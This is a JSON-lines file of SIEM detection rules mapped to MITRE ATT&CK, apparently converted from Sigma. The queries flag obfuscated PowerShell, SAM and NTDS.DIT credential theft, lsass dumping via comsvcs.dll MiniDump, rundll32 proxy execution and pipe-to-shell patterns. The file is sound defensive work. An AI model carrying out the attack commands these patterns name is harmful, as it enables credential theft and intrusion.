\\/win\\ h\\ * OR *\\ \\/win\\ hi\\ * OR *\\ \\/win\\ hid\\ * OR *\\ \\/win\\ hidd\\ * OR *\\ \\/win\\ hidde\\ * OR *\\ \\/NoPr\\ * OR *\\ \\/NoPro\\ * OR *\\ \\/NoProf\\ * OR *\\ \\/NoProfi\\ * OR *\\ \\/NoProfil\\ * OR *\\ \\/nonin\\ * OR *\\ \\/nonint\\ * OR *\\ \\/noninte\\ * OR *\\ \\/noninter\\ * OR *\\ \\/nonintera\\ * OR *\\ \\/noninterac\\ * OR *\\ \\/noninteract\\ * OR *\\ \\/noninteracti\\ * OR *\\ \\/noninteractiv\\ * OR *\\ \\/ec\\ * OR *\\ \\/encodedComman\\ * OR *\\ \\/encodedComma\\ * OR *\\ \\/encodedComm\\ * OR *\\ \\/encodedCom\\ * OR *\\ \\/encodedCo\\ * OR *\\ \\/encodedC\\ * OR *\\ \\/encoded\\ * OR *\\ \\/encode\\ * OR *\\ \\/encod\\ * OR *\\ \\/enco\\ * OR *\\ \\/en\\ * OR *\\ \\/executionpolic\\ * OR *\\ \\/executionpoli\\ * OR *\\ \\/executionpol\\ * OR *\\ \\/executionpo\\ * OR *\\ \\/executionp\\ * OR *\\ \\/execution\\ bypass* OR *\\ \\/executio\\ bypass* OR *\\ \\/executi\\ bypass* OR *\\ \\/execut\\ bypass* OR *\\ \\/execu\\ bypass* OR *\\ \\/exec\\ bypass* OR *\\ \\/exe\\ bypass* OR *\\ \\/ex\\ bypass* OR *\\ \\/ep\\ bypass*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth (rule)", "Daniel Bohannon (idea)", "Roberto Rodriguez (Fix)"], "license": ""}
{"description": "Detects suspicious powershell invocations from interpreters or unusual programs", "author": ["Florian Roth"], "enabled": false, "false_positives": ["Microsoft Operations Manager (MOM)", "Other scripts"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "2c8a5bf8-91ea-9eb0-d480-493dcddf4fcf", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious PowerShell Invocation From Script Engines", "query": "((process.parent.executable.text:(*\\\\wscript.exe OR *\\\\cscript.exe) AND process.executable.text:(*\\\\powershell.exe OR *\\\\pwsh.exe)) AND (NOT ((process.working_directory.text:*\\\\Health\\ Service\\ State\\\\*))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects suspicious powershell invocations from interpreters or unusual programs", "enabled": false, "false_positives": ["Microsoft Operations Manager (MOM)", "Other scripts"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "56099207-ad9b-e5dc-8f72-577f5a108042", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious PowerShell Invocation Based on Parent Process", "query": "((process.parent.executable:(*\\\\wscript.exe OR *\\\\cscript.exe) AND process.executable:(*\\\\powershell.exe OR *\\\\pwsh.exe)) AND (NOT (process.working_directory:*\\\\Health\\ Service\\ State\\\\*)))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects suspicious powershell process starts with base64 encoded commands (e.g. Emotet)", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "13774436-bfc6-5b60-77e8-7b5b65f789be", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Encoded PowerShell Command Line", "query": "(((process.command_line:*\\ \\-e* AND process.command_line:*\\ JAB* AND process.command_line:*\\ \\-w* AND process.command_line:*\\ hidden\\ *) OR (process.command_line:*\\ \\-e* AND process.command_line:(*\\ BA\\^J* OR *\\ SUVYI* OR *\\ SQBFAFgA* OR *\\ aQBlAHgA* OR *\\ aWV4I* OR *\\ IAA* OR *\\ IAB* OR *\\ UwB* OR *\\ cwB*)) OR process.command_line:*.exe\\ \\-ENCOD\\ *) AND (NOT (process.command_line:*\\ \\-ExecutionPolicy* AND process.command_line:*remotesigned\\ *)))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth", "Markus Neis", "Jonhnathan Ribeiro", "Daniil Yugoslavskiy", "Anton Kutepov", "oscd.community"], "license": ""}
{"description": "Detects suspicious powershell process which includes bxor command, alternative obfuscation method to b64 encoded commands.", "author": ["Sami Ruohonen", "Harish Segar (improvement)", "Tim Shelton"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "36b982cc-8963-a677-08c3-becf9f835691", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious XOR Encoded PowerShell Command Line", "query": "((((process.executable.text:(*\\\\powershell.exe OR *\\\\pwsh.exe)) OR (winlog.event_data.OriginalFileName:(\"PowerShell.EXE\" OR \"pwsh.dll\")) OR (winlog.event_data.Description:\"Windows PowerShell\") OR (Product:\"PowerShell Core 6\")) AND process.command_line.text:(*bxor* OR *\\-join\\ * OR *\\-join'* OR *\\-join\\\"* OR *\\-join`* OR *char*)) AND (NOT (((process.parent.executable.text:\"C:\\Program Files\\Amazon\\SSM\\ssm-document-worker.exe\")) OR ((process.command_line.text:*function\\ Convert\\-GuidToCompressedGuid* AND process.command_line.text:*ValueFromPipelineByPropertyName* AND process.command_line.text:*\\:\\:ParseExact\\(* AND process.command_line.text:*KB\\[000000\\-999999\\]*)))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1027", "T1059", "T1140"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1027", "name": "Obfuscated Files or Information", "reference": ""}, {"id": "T1140", "name": "Deobfuscate/Decode Files or Information", "reference": ""}]}], "version": 1, "license": "", "references": [""], "timestamp_override": "event.ingested"}
{"description": "Detects suspicious powershell process which includes bxor command, alternative obfuscation method to b64 encoded commands.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "36b982cc-8963-a677-08c3-becf9f835691", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious XOR Encoded PowerShell Command Line", "query": "(HostName:\"ConsoleHost\" AND process.command_line:(*bxor* OR *join* OR *char*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Teymur Kheirkhabarov", "Harish Segar (rule)"], "license": ""}
{"description": "Detects suspicious PowerShell scripts accessing SAM hives", "author": ["Florian Roth"], "enabled": false, "false_positives": ["Some rare backup scenarios", "PowerShell scripts fixing HiveNightmare / SeriousSAM ACLs"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "4147d63a-163a-ac3c-449c-93586a539e34", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "PowerShell SAM Copy", "query": "(process.command_line.text:*\\\\HarddiskVolumeShadowCopy* AND process.command_line.text:*System32\\\\config\\\\sam* AND process.command_line.text:(*Copy\\-Item* OR *cp\\ $_.* OR *cpi\\ $_.* OR *copy\\ $_.* OR *.File\\]\\:\\:Copy\\(*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Credential Access", "T1003"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1003", "name": "OS Credential Dumping", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects suspicious print spool service (spoolsv.exe) child processes.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "4ec7c307-0b92-7286-8144-0904e89518cb", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Spool Service Child Process", "query": "((process.parent.executable:*\\\\spoolsv.exe AND IntegrityLevel:\"System\") AND (((((process.executable:(*\\\\gpupdate.exe OR *\\\\whoami.exe OR *\\\\nltest.exe OR *\\\\taskkill.exe OR *\\\\wmic.exe OR *\\\\taskmgr.exe OR *\\\\sc.exe OR *\\\\findstr.exe OR *\\\\curl.exe OR *\\\\wget.exe OR *\\\\certutil.exe OR *\\\\bitsadmin.exe OR *\\\\accesschk.exe OR *\\\\wevtutil.exe OR *\\\\bcdedit.exe OR *\\\\fsutil.exe OR *\\\\cipher.exe OR *\\\\schtasks.exe OR *\\\\write.exe OR *\\\\wuauclt.exe) OR (process.executable:*\\\\net.exe AND (NOT (process.command_line:*start*)))) OR (process.executable:*\\\\cmd.exe AND (NOT (process.command_line:(*.spl* OR *route\\ add* OR *program\\ files*))))) OR (process.executable:*\\\\netsh.exe AND (NOT (process.command_line:(*add\\ portopening* OR *rule\\ name*))))) OR (process.executable:(*\\\\powershell.exe OR *\\\\pwsh.exe) AND (NOT (process.command_line:*.spl*)))) OR (process.executable:*\\\\rundll32.exe AND process.command_line:*rundll32.exe)))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Privilege Escalation", "T1068", "T1203"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1203", "name": "Exploitation for Client Execution", "reference": ""}]}, {"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1068", "name": "Exploitation for Privilege Escalation", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Justin C. (@endisphotic)", "@dreadphones (detection)", "Thomas Patzke (Sigma rule)"], "license": ""}
{"description": "Detects suspicious process command line that starts with a shell that executes something and finally gets piped into another shell", "enabled": false, "false_positives": ["Legitimate software that uses these patterns"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "66cff008-6bcb-9f8e-9308-45c230784f41", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Linux Shell Pipe to Shell", "query": "(process.command_line.text:(sh\\ \\-c\\ * OR bash\\ \\-c\\ *) AND (process.command_line.text:(*|\\ bash\\ * OR *|\\ sh\\ * OR *|bash\\ * OR *|sh\\ *) OR process.command_line.text:(*|\\ bash OR *|\\ sh OR *|bash OR *\\ |sh)))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1140"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1140", "name": "Deobfuscate/Decode Files or Information", "reference": ""}]}], "version": 1, "references": ["Internal Research"], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects suspicious process command line that uses base64 encoded input for execution with a shell", "enabled": false, "false_positives": ["Legitimate administration activities"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "95418446-1d5f-e35a-e5c8-e91f306dcde9", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Linux Base64 Encoded Pipe to Shell", "query": "(process.command_line.text:*base64\\ \\-w0\\ * AND (process.command_line.text:(*|\\ bash\\ * OR *|\\ sh\\ * OR *|bash\\ * OR *|sh\\ *) OR process.command_line.text:(*|\\ bash OR *|\\ sh OR *|bash OR *\\ |sh)))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1140"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1140", "name": "Deobfuscate/Decode Files or Information", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["pH-T"], "license": ""}
{"description": "Detects suspicious process executions in which Sysmon itself is the parent of a process, which could be a sign of exploitation (e.g. CVE-2022-41120)", "author": ["Florian Roth", "Tim Shelton (fp werfault)"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "4d9c373b-6dfb-27f2-be3e-88a4b60461ca", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Sysmon as Execution Parent", "query": "(process.parent.executable.text:(*\\\\Sysmon.exe OR *\\\\Sysmon64.exe) AND (NOT ((process.executable.text:(\"C:\\Windows\\Sysmon.exe\" OR \"C:\\Windows\\Sysmon64.exe\" OR \"C:\\Windows\\System32\\conhost.exe\" OR \"wevtutil.exe\" OR \"C:\\WINDOWS\\system32\\wevtutil.exe\" OR \"C:\\Windows\\System32\\WerFault.exe\")) OR (process.executable.text:*\\\\AppData\\\\Local\\\\Temp\\\\Sysmon.exe))))", "meta": {"from": "1m"}, "severity": "high", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", "", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects suspicious process injection using ZOHO's dctask64.exe", "enabled": false, "false_positives": ["Unknown yet"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "404f78f6-2307-3f75-13e0-d18efe298982", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "ZOHO Dctask64 Process Injection", "query": "(process.executable:*\\\\dctask64.exe AND (NOT (process.command_line:*DesktopCentral_Agent\\\\agent*)))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1055"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1055", "name": "Process Injection", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects suspicious process patterns found in logs when CrackMapExec is used", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "70771c91-741a-76a7-faa7-4d63b29562fc", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "CrackMapExec Process Patterns", "query": "((process.command_line:*cmd.exe\\ \\/c\\ * AND process.command_line:*tasklist\\ \\/fi\\ * AND process.command_line:*Imagename\\ eq\\ lsass.exe* AND user.name:(*NT\\ AUTHO* OR *NT\\ AUTO*)) OR (process.command_line:*do\\ rundll32.exe\\ C\\:\\\\windows\\\\System32\\\\comsvcs.dll,\\ MiniDump* AND process.command_line:*\\\\Windows\\\\Temp\\\\* AND process.command_line:*\\ full* AND process.command_line:*%%B*) OR (process.command_line:*tasklist\\ \\/v\\ \\/fo\\ csv* AND process.command_line:*findstr\\ \\/i\\ \\\"lsass\\\"*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Credential Access", "T1003"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1003", "name": "OS Credential Dumping", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects suspicious process patterns used in NTDS.DIT exfiltration", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "2181c778-d54d-7980-2007-ae308a9a9c8d", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Process Patterns NTDS.DIT Exfil", "query": "(((process.executable.text:(*\\\\NTDSDump.exe OR *\\\\NTDSDumpEx.exe) OR (process.command_line.text:*ntds.dit* AND process.command_line.text:*system.hiv*) OR process.command_line.text:*NTDSgrab.ps1*) OR (process.command_line.text:*ac\\ i\\ ntds* AND process.command_line.text:*create\\ full*) OR (process.command_line.text:*\\/c\\ copy\\ * AND process.command_line.text:*\\\\windows\\\\ntds\\\\ntds.dit*) OR (process.command_line.text:*activate\\ instance\\ ntds* AND process.command_line.text:*create\\ full*) OR (process.command_line.text:*powershell* AND process.command_line.text:*ntds.dit*)) OR (process.command_line.text:*ntds.dit* AND (process.parent.executable.text:(*\\\\apache* OR *\\\\tomcat* OR *\\\\AppData\\\\* OR *\\\\Temp\\\\* OR *\\\\Public\\\\* OR *\\\\PerfLogs\\\\*) OR process.executable.text:(*\\\\apache* OR *\\\\tomcat* OR *\\\\AppData\\\\* OR *\\\\Temp\\\\* OR *\\\\Public\\\\* OR *\\\\PerfLogs\\\\*))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Credential Access", "T1003"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1003", "name": "OS Credential Dumping", "reference": ""}]}], "version": 1, "references": ["", "", "", "", "", "", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects suspicious process related to rasdial.exe", "enabled": false, "false_positives": ["False positives depend on scripts and administrative tools used in the monitored environment"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "35873da8-70a3-33a8-324b-3d49d1202119", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious RASdial Activity", "query": "process.executable:*rasdial.exe", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["juju4"], "license": ""}
{"description": "Detects suspicious process related to rundll32 based on arguments", "enabled": false, "false_positives": ["False positives depend on scripts and administrative tools used in the monitored environment"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "0da5289e-617d-115a-9d91-f99b6f4ceb0c", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious Rundll32 Activity", "query": "(((process.command_line.text:*javascript\\:* AND process.command_line.text:*.RegisterXLL*) OR (process.command_line.text:*url.dll* AND process.command_line.text:*OpenURL*) OR (process.command_line.text:*url.dll* AND process.command_line.text:*OpenURLA*) OR (process.command_line.text:*url.dll* AND process.command_line.text:*FileProtocolHandler*) OR (process.command_line.text:*zipfldr.dll* AND process.command_line.text:*RouteTheCall*) OR (process.command_line.text:*shell32.dll* AND process.command_line.text:*Control_RunDLL*) OR (process.command_line.text:*shell32.dll* AND process.command_line.text:*ShellExec_RunDLL*) OR (process.command_line.text:*mshtml.dll* AND process.command_line.text:*PrintHTML*) OR (process.command_line.text:*advpack.dll* AND process.command_line.text:*LaunchINFSection*) OR (process.command_line.text:*advpack.dll* AND process.command_line.text:*RegisterOCX*) OR (process.command_line.text:*ieadvpack.dll* AND process.command_line.text:*LaunchINFSection*) OR (process.command_line.text:*ieadvpack.dll* AND process.command_line.text:*RegisterOCX*) OR (process.command_line.text:*ieframe.dll* AND process.command_line.text:*OpenURL*) OR (process.command_line.text:*shdocvw.dll* AND process.command_line.text:*OpenURL*) OR (process.command_line.text:*syssetup.dll* AND process.command_line.text:*SetupInfObjectInstallAction*) OR (process.command_line.text:*setupapi.dll* AND process.command_line.text:*InstallHinfSection*) OR (process.command_line.text:*pcwutl.dll* AND process.command_line.text:*LaunchApplication*) OR (process.command_line.text:*dfshim.dll* AND process.command_line.text:*ShOpenVerbApplication*) OR (process.command_line.text:*dfshim.dll* AND process.command_line.text:*ShOpenVerbShortcut*) OR (process.command_line.text:*scrobj.dll* AND process.command_line.text:*GenerateTypeLib* AND process.command_line.text:*http*) OR (process.command_line.text:*shimgvw.dll* AND process.command_line.text:*ImageView_Fullscreen* AND process.command_line.text:*http*)) AND (NOT (process.command_line.text:*shell32.dll,Control_RunDLL\\ desk.cpl,screensaver,@screensaver*)))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "System Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": ["", "", "", "", "", ""], "timestamp_override": "event.ingested", "author": ["juju4", "Jonhnathan Ribeiro", "oscd.community", "Nasreddine Bencherchali"], "license": ""}
{"description": "Detects suspicious process related to rundll32 based on arguments", "enabled": false, "false_positives": ["False positives depend on scripts and administrative tools used in the monitored environment"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "effaed9a-5d3e-b617-2d77-1a48303aa0e5", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious Rundll32 Script in CommandLine", "query": "(process.command_line:*rundll32* AND process.command_line:*mshtml,RunHTMLApplication* AND process.command_line:(*javascript\\:* OR *vbscript\\:*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "System Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Detects suspicious process related to rundll32 based on command line that includes a *.sys file as seen being used by UNC2452", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "eddc5c57-0f69-daa4-c1d5-83eef7c0bfd5", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Rundll32 Activity Invoking Sys File", "query": "(process.command_line.text:*rundll32.exe* AND process.command_line.text:(*.sys,* OR *.sys\\ *))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "System Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects suspicious process related to rundll32 based on command line that invokes inline VBScript as seen being used by UNC2452", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "6097e924-cb90-3333-7aad-e2f061ea8011", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Rundll32 Invoking Inline VBScript", "query": "(process.command_line.text:*rundll32.exe* AND process.command_line.text:*Execute* AND process.command_line.text:*RegRead* AND process.command_line.text:*window.close*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1055"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1055", "name": "Process Injection", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects suspicious process run from unusual locations", "enabled": false, "false_positives": ["False positives depend on scripts and administrative tools used in the monitored environment"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "a913b86c-7a40-a241-d1d9-5fdb96f7d682", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious Process Start Locations", "query": "(process.executable:(*\\:\\\\RECYCLER\\\\* OR *\\:\\\\SystemVolumeInformation\\\\*) OR process.executable:(C\\:\\\\Windows\\\\Tasks\\\\* OR C\\:\\\\Windows\\\\debug\\\\* OR C\\:\\\\Windows\\\\fonts\\\\* OR C\\:\\\\Windows\\\\help\\\\* OR C\\:\\\\Windows\\\\drivers\\\\* OR C\\:\\\\Windows\\\\addins\\\\* OR C\\:\\\\Windows\\\\cursors\\\\* OR C\\:\\\\Windows\\\\system32\\\\tasks\\\\*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1036"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1036", "name": "Masquerading", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["juju4", "Jonhnathan Ribeiro", "oscd.community"], "license": ""}
{"description": "Detects suspicious process that use escape characters", "enabled": false, "false_positives": ["False positives depend on scripts and administrative tools used in the monitored environment"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "c12a4e67-e207-f7b7-9901-d33d1e3d1b45", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Suspicious Commandline Escape", "query": "process.command_line:(*h\\^t\\^t\\^p* OR *h\\\"t\\\"t\\\"p*)", "meta": {"from": "1m"}, "severity": "low", "tags": ["Defense Evasion", "T1140"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1140", "name": "Deobfuscate/Decode Files or Information", "reference": ""}]}], "version": 1, "references": ["", "", "", "", ""], "timestamp_override": "event.ingested", "author": ["juju4"], "license": ""}
{"description": "Detects suspicious processes including shells spawnd from WinRM host process", "enabled": false, "false_positives": ["Legitimate WinRM usage"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "00af1bb9-59cb-c561-4867-39d51d94e947", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Processes Spawned by WinRM", "query": "(process.parent.executable:*\\\\wsmprovhost.exe AND process.executable:(*\\\\cmd.exe OR *\\\\sh.exe OR *\\\\bash.exe OR *\\\\powershell.exe OR *\\\\pwsh.exe OR *\\\\wsl.exe OR *\\\\schtasks.exe OR *\\\\certutil.exe OR *\\\\whoami.exe OR *\\\\bitsadmin.exe))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Initial Access", "Privilege Escalation", "T1190"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1190", "name": "Exploit Public-Facing Application", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Andreas Hunkeler (@Karneades)", "Markus Neis"], "license": ""}
{"description": "Detects suspicious processes logging on with explicit credentials", "enabled": false, "false_positives": ["Administrators that use the RunAS command or scheduled tasks"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "2ad6d242-ec0a-fce3-b657-190505b463f8", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious Remote Logon with Explicit Credentials", "query": "(winlog.channel:\"Security\" AND (winlog.event_id:\"4648\" AND winlog.event_data.ProcessName:(*\\\\cmd.exe OR *\\\\powershell.exe OR *\\\\pwsh.exe OR *\\\\winrs.exe OR *\\\\wmic.exe OR *\\\\net.exe OR *\\\\net1.exe OR *\\\\reg.exe)) AND (NOT ((TargetServerName:\"localhost\") OR (winlog.event_data.SubjectUserName:*$ AND winlog.event_data.TargetUserName:*$))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Lateral Movement", "T1078"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["oscd.community", "Teymur Kheirkhabarov @HeirhabarovT", "Zach Stanford @svch0st", "Tim Shelton"], "license": ""}
